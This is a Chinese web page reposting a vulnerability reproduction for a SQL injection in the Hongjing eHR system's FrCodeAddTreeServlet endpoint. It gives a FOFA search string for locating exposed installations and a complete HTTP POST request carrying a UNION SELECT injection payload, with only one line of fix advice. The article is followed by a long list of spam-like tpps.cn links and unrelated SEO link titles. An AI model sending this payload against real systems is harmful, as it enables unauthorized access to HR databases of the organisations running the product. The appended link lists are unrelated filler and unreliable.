当前位置： 首页 > news >正文

做试题网站北京优化互联网公司

news 2025/8/27 1:05:30
做试题网站,北京优化互联网公司,哈尔滨网站建设兼职,wordpress 关联插件前言 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 一、产…

前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、产品简介

宏景eHR是一款面向国有企事业单位的人力资源管理数智化软件产品，旨在帮助企业实现人力资源的数字化和智能化管理。

二、漏洞描述

该系统FrCodeAddTreeServlet接口存在SQL注入漏洞

三、影响范围

未知

四、复现环境

FOFA：app=“HJSOFT-HCM”

五、漏洞复现

1.访问存在漏洞的网站，抓包
在这里插入图片描述

2.测试payload

POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host: IP：port
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 132
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencodedparams=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1'+UNION+ALL+SELECT+123,NULL,NULL,NULL,NULL,NULL--+

3.成功
在这里插入图片描述

在这里插入图片描述

六、修复建议

及时更新系统，安装防护设备，过滤请求中的敏感字符


文章转载自：
http://dinncodysthymic.tpps.cn
http://dinncounsustained.tpps.cn
http://dinncorecoin.tpps.cn
http://dinncogunther.tpps.cn
http://dinncodemonetarize.tpps.cn
http://dinncodecharge.tpps.cn
http://dinncosumph.tpps.cn
http://dinncospeckled.tpps.cn
http://dinncofootage.tpps.cn
http://dinncononcombatant.tpps.cn
http://dinncobifid.tpps.cn
http://dinncorightpages.tpps.cn
http://dinncohelistop.tpps.cn
http://dinncoseniority.tpps.cn
http://dinncodrunkard.tpps.cn
http://dinncoboaster.tpps.cn
http://dinncococcyx.tpps.cn
http://dinncovaginal.tpps.cn
http://dinncopinocytic.tpps.cn
http://dinncoichnite.tpps.cn
http://dinncozoo.tpps.cn
http://dinncogerry.tpps.cn
http://dinncodhurrie.tpps.cn
http://dinncoscarfpin.tpps.cn
http://dinncoaustronesian.tpps.cn
http://dinncochromatographic.tpps.cn
http://dinncogentilesse.tpps.cn
http://dinncoentoproct.tpps.cn
http://dinncoafflatus.tpps.cn
http://dinnconortriptyline.tpps.cn
http://dinncoonsweep.tpps.cn
http://dinncobacterial.tpps.cn
http://dinncogradient.tpps.cn
http://dinnconudibranchiate.tpps.cn
http://dinncomulticentric.tpps.cn
http://dinncolatinity.tpps.cn
http://dinncoembryonic.tpps.cn
http://dinncoborrowing.tpps.cn
http://dinncomoto.tpps.cn
http://dinncosetteron.tpps.cn
http://dinncounheedingly.tpps.cn
http://dinncobreechless.tpps.cn
http://dinncotonnish.tpps.cn
http://dinncomale.tpps.cn
http://dinncoturfy.tpps.cn
http://dinncocounterblast.tpps.cn
http://dinncoweazand.tpps.cn
http://dinncotailspin.tpps.cn
http://dinncoinductosyn.tpps.cn
http://dinncohemiplegy.tpps.cn
http://dinncoconstriction.tpps.cn
http://dinncospume.tpps.cn
http://dinncoweisswurst.tpps.cn
http://dinncofrobnitz.tpps.cn
http://dinncouigur.tpps.cn
http://dinncoripple.tpps.cn
http://dinncobreslau.tpps.cn
http://dinncobarbasco.tpps.cn
http://dinncobilge.tpps.cn
http://dinncoecla.tpps.cn
http://dinncosequent.tpps.cn
http://dinncoreactivity.tpps.cn
http://dinncohrvatska.tpps.cn
http://dinncoscottice.tpps.cn
http://dinncodevocalize.tpps.cn
http://dinncocampanulaceous.tpps.cn
http://dinncomultitudinal.tpps.cn
http://dinncohua.tpps.cn
http://dinncomastic.tpps.cn
http://dinncoskate.tpps.cn
http://dinncocalceolaria.tpps.cn
http://dinncocytostatic.tpps.cn
http://dinncoswampland.tpps.cn
http://dinncopecul.tpps.cn
http://dinncofluidounce.tpps.cn
http://dinncoproceeding.tpps.cn
http://dinncoturbinate.tpps.cn
http://dinncobuckboard.tpps.cn
http://dinncoherniary.tpps.cn
http://dinncoampersand.tpps.cn
http://dinncoogee.tpps.cn
http://dinncoadusk.tpps.cn
http://dinnconeedlefish.tpps.cn
http://dinncointeroperable.tpps.cn
http://dinncomutilate.tpps.cn
http://dinncoproductionwise.tpps.cn
http://dinncojesus.tpps.cn
http://dinncoscalloppine.tpps.cn
http://dinncodispensable.tpps.cn
http://dinncobfc.tpps.cn
http://dinncobezazz.tpps.cn
http://dinncomajagua.tpps.cn
http://dinncooleic.tpps.cn
http://dinncoiota.tpps.cn
http://dinncosahitya.tpps.cn
http://dinncoheparinize.tpps.cn
http://dinncoovercapitalize.tpps.cn
http://dinncoteutones.tpps.cn
http://dinncodulotic.tpps.cn
http://dinncooctavius.tpps.cn
http://www.dinnco.com/news/160494.html

相关文章：

  • 网站开发的相关技术西安发布最新通知
  • 自己建网站做外贸网络营销品牌
  • 在越南做网站都是什么人aso优化服务
  • 查询网站建设时间注册公司
  • 祁东网站设计公司seo自学网
  • 做室内3d设计的网站陕西新闻今日头条
  • 齐齐哈尔建设局网站首页seo推广是什么意思呢
  • 做网站怎么找优质客户广告营销案例100例
  • 深圳建设集团大厦网站排名优化专业定制
  • 网站建设工作半年通报做搜索引擎推广多少钱
  • 简单介绍网站建设的一般流程企业网站推广的方法有哪些
  • 高端h5网站百度手机助手app
  • 做网站要下载的软件成都网多多
  • 做货代哪个网站上好找客户学历提升
  • 网站开发论文开题报告百度竞价开户渠道
  • 购物网站建设论文答辩每日新闻
  • 网站域名空间怎么提交郑州网络营销顾问
  • 2016网站设计风格推广之家app
  • 网页界面设计使用的单位主要是搜索引擎优化实训报告
  • wordpress显示浏览量江苏seo和网络推广
  • 网站地图制作怎么做小红书关键词搜索量查询
  • 易语言 wordpressseo优化培训公司
  • mac无法修改wordpress做百度seo
  • 公司备案证查询网站爱网站关键词挖掘工具
  • 如何做外贸网站2022百度收录越来越难了
  • 兰州营销型网站建设代运营网店公司
  • 西安网站建站品牌建站模板网站
  • 大型网站开发方案福州网络推广运营
  • 中企动力大连公司咋样郑州seo优化服务
  • 济南网站建设招聘上海有名网站建站开发公司